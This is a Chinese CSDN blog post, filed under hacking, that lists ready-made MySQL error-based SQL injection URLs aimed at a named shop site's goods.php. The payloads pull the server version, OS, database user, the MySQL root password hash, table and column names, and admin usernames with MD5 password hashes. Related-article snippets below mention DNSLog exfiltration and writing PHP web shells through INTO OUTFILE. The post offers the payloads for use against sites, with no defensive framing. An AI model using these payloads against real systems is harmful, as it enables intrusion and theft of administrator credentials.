PHP盲注常用爆库暴表等等语句

最新推荐文章于 2023-11-04 22:23:31 发布
最新推荐文章于 2023-11-04 22:23:31 发布
阅读量1.6k 收藏
点赞数
分类专栏： Hacking 文章标签： php table schema user database 数据库
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/god_7z1/article/details/6591706
版权

判断版本号

(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23">http://www.badguest.cn/goods.php?id=352&wsid=1%20and%20(1,1)>(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23

判断系统

(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23">http://www.badguest.cn/goods.php?id=352&wsid=1%20and%20(1,1)>(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23

当前 user()

(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23">http://www.badguest.cn/goods.php?id=352&wsid=1%20and%20(1,1)>(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23

当前 database()

(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23">http://www.badguest.cngoods.php?id=352&wsid=1%20and%20(1,1)>(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23

root hash

(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23">http://www.badguest.cn/goods.php?id=352&wsid=1%20and%20(1,1)>(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23

当前 数据库表名

(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23">http://www.badguest.cn/goods.php?id=352&wsid=1%20and%20(1,1)>(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23

当前 数据库 user_name 字段

(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23">http://www.badguest.cn/goods.php?id=352&wsid=1%20and%20(1,1)>(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23

当前 数据库 字段 password

(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23">http://www.badguest.cn/goods.php?id=352&wsid=1%20and%20(1,1)>(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23

获得 admin passwd(md5)

(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23">http://www.badguest.cn/goods.php?id=352&wsid=1%20and%20(1,1)>(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23

mysql爆错盲注语句

7禧
关注
专栏目录
DNSLog 盲注总结
m0_61506558的博客
10-26 521
总所周知，我们输入的域名需要通过DNS服务器进行解析得到IP地址才能通过IP访问网站，DNSLog就是存储在DNS服务器上的域名信息，它记录着用户对域名访问的信息，类似日志文件。我们只需要搭建一个的DNS服务器，并将要盲打或盲注的回显，放到自己域名的二级三级甚至更多级的子域名上去请求，就可以通过DNS解析日志来获取到它们。这样，所有访问 xie.com 的二级三级四级等等子域名都会被解析到我们的VPS上。我们就可以通过查询DNS解析记录来获得命令执行的回显了。（一）DNSLog部署过程。
php mysql 注入一句话木马_渗透技术--SQL注入写一句话木马原理
weixin_39800387的博客
02-19 2391
讲一下SQL注入中写一句话拿webshell的原理，主要使用的是 SELECT ... INTO OUTFILE 这个语句，下面是一个语句的例子:SELECT * INTO OUTFILE 'C:\log1.txt'这样就可以把查询到的数据写入到C盘的log1.txt这个文件里面。利用这个原理我们可以把PHP的一句话木马写到磁盘上从而拿到webshell。本地的目标站点来实战一下，我们的目的是在目...
mysql布尔盲注exp直接爆数据
haha1314的博客
06-30 552
import requests import re #作者：wf #当前网站的数据库长度 def database_len(): for i in range(30): database_len_url=f"{main_url}' and length(database())={i}--+" print(database_len_url) h...
PHP盲注常用语句
收集盒 Book box
06-27 1241
整理了一些盲注语句，有时候搞站的时候用的着。希望对大家也有用，大牛小牛们用的着就尽管拿吧。判断版本号:http://www.tmdsb.com/tmd.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%
应用布尔盲注来爆库（1）
海枫的专栏
11-09 3757
如果注入成功了，但网页没有返回任何有用信息，这种情况下，如何获取数据库信息了，这就需要布尔盲注上场了
php盲注暴表语句
08-12
php 注入 常用代码 爆表，自已整理的一些脚本
INFORMATION_SCHEMA.COLUMNS-表的字段信息
weixin_30500105的博客
09-23 325
MySQL版本大于5.0时，有个默认数据库information_schema，里面存放着所有数据库的信息(比如表名、 列名、对应权限等)，通过这个数据库，我们就可以跨库查询，爆表爆列。 若要从这些视图中检索信息，请指定完全合格的 INFORMATION_SCHEMA view_name 名称。 列名数据类型描述 TABLE_CATALOG nvarchar(128...
确认并利用 SQL 盲注漏洞
最新发布
2301_77324496的博客
11-04 142
在服务器端，sql 注入和 sql 盲注是同类型的漏洞，都是因为对输入内容不检测或检查不充分导致脏数据进入了数据库中。我们这个语的意思是猜测第一个字母是不是同样的，我们把该请求发送到intruder 模块，将a设置为改变参数。1. 这个表单和上面的 sql 注入表单(SQL Injection)一模一样，输入1可以查看id为1的用户信息。15.我们的载荷列表是a-z，1-9，所合。20.下面继续猜解后面的字符。最后我们测试出来的结果是 dvwa@%，最后一个%匹配的是空字符，所以用户名是 dvwa@
Web安全Day1 - SQL注入实战攻防
hongrisec的博客
02-20 3148
声明：文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担！ 本专题文章导航 1.Web安全Day1 - SQL注入实战攻防 https://mp.weixin.qq.com/s/zP0MZNhnZG_S9aoHDXzvWA 1. SQL注入 1.1 漏洞简介 结构化查询语言（Structured Query Language...
Sqlmap速查表/功能移植/Python批量检测SQL注入
浪子燕青的博客
03-11 1501
title: Sqlmap速查表与Python进行功能移植 copyright: true top: 0 date: 2021-02-27 11:59:00 tags: [扫描注入,注入,sqlmap] categories: 安全开发 permalink: password: keywords: description: Sqlmap速查，对其WAF识别功能移植，对其Sql注入的payload进行移植，完成Python批量检测SQL注入。 今天的剑桥对我而言只是一百年前那个剑桥的幻影，但我还会不由自主.
盲注的练习（作业）
qq_43473164的博客
04-08 308
基于boolean的盲注 第一步 测试 payload:’ and 1=1#(页面不变) | ’ and 1=2#(页面变化) 说明存在sql漏洞. 第二步 盲注 爆表：payload:’ and ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1)...
slqmap的爆库爆表爆字段（以本地搭建的DVWA为例）
PromisingQ
07-09 1191
环境 window10、sqlmap、本地搭建的DVWA 步骤 1、先将DVWA安全等级设置为low 2、选择SQL Injection输入1查询 3、将url复制下来，并查看cookie信息 url:http://localhost:800/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit# cookie="Cookie: security=low; PHPSESSID=7si7t5md1ntl03q0oc1ktcm0q2" 4、打开sqlmap使
网站爆库php,[原创]WEB安全第四章SQL注入篇05 mysql+php 手工注入篇 爆库 爆表 爆字段...
weixin_35545176的博客
03-10 163
[原创]WEB安全第四章SQL注入篇05 mysql+php 手工注入篇 爆库 爆表 爆字段在上面一章mysql+php手工注入篇 在最后用到的一个函数 group_concat()可以将查询的字段的数据查询出来可以用利这个函数 将mysql所有的库名查询出来1、查询所有的库http://target_sys.com/article.php?id=-1union select 1,2,SCHEM...
mysql爆表,「爆表」MYSQL数据库爆库爆表爆字段 - seo实验室
weixin_32226157的博客
03-18 513
爆表mysql版本大于5.0时，有个默认数据库information_schema，里面存放着所有数据库的信息(比如表名、 列名、对应权限等)，通过这个数据库，我们就可以跨库查询，爆表爆列。列名数据类型描述TABLE_CATALOGnvarchar(128)表限定符。TABLE_SCHEMAnvarchar(128)表所有者。TABLE_NAMEnvarchar(128)表名。COLUMN_NAM...
注入sql攻击,爆库,爆表,爆字段
zzzgd_666的博客
07-07 1281
注入sql攻击,爆库,爆表,爆字段函数注意点防范于未然, 了解它,然后避免它.用好#预编译 研究sql注入攻击的方式, 自己有空写个demo试下效果 函数 除了这个函数还有其他几个函数可以实现注入sql攻击的效果 updatexml(a,b,c) 参数a: xml文档名字 参数b: xpath表达式 参数c: 替换的值 原理就是将b替换成concat函数, concat函数里又包含sql, mysq基于函数的运算法则, 应该是先执行里面的sql, 然后将查询到的值, 执行concat函数, 得到最终的字符串
php爆路径方法总结
风流剑客
12-16 1439
1、单引号爆路径 　　直接在URL后面加单引号，要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。 　　www.xxxx.com /news.php?id=149′ 　　2、错误参数值爆路径 　　将要提交的参数值改成错误值，比如-1。单引号被过滤时不妨试试。 　　www.xxxx.com /researcharchive.php?id=-1 　　3
%5c爆库实例
eldn__的专栏
12-07 1949
来源：转载 作者：佚名 时间：2005-10-17 07:09:13 作者：fhod 入侵QQ挂机网实施钓鱼攻击(已发表在黑客X档案05.10) 前不久上QQ老是收到好友挂机的信息..这次看到我同学发来的信息..无意中打开..看排名不错..突然就有了想 入侵它的冲动 QQ挂机的页面没什么看头..看看主站.ASP的..试了几个连接尝试SQL注入..失败...然后就想着找二
常用的一下数据库语句
weixin_38657740的博客
10-29 98
**数据库授权语句，用于新建用户，授权登录:grant connect to user 查看数据库锁以及解锁语句： select a.username,a.SERIAL#, a.sid,b.SQL_TEXT, b.SQL_FULLTEXT from vsessiona,vsession a, vsessiona,vsqlarea b where a.sql_address = b.address ...
mysql中的select @@version
sunashe的个人随笔
03-04 8691
有些朋友问过的问题，mysql中查询版本号，有的是5.7.18，有的是 5.7.18-log ，有的是5.7.18-debug,如下 mysql> select @@version; +------------------+ | @@version | +------------------+ | 5.7.18-debug-log | +------------------+ ...
SQL注入攻防：盲注与数据库暴库实战解析
在【标题】"SQL注入技巧-盲注暴库详细技巧及实例"中，作者分享了自己通过研究和实战经验总结出的几种SQL盲注方法。盲注是指在没有直接返回结果的情况下，通过判断性条件推测数据库信息的技术。 1. **布尔盲注**...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值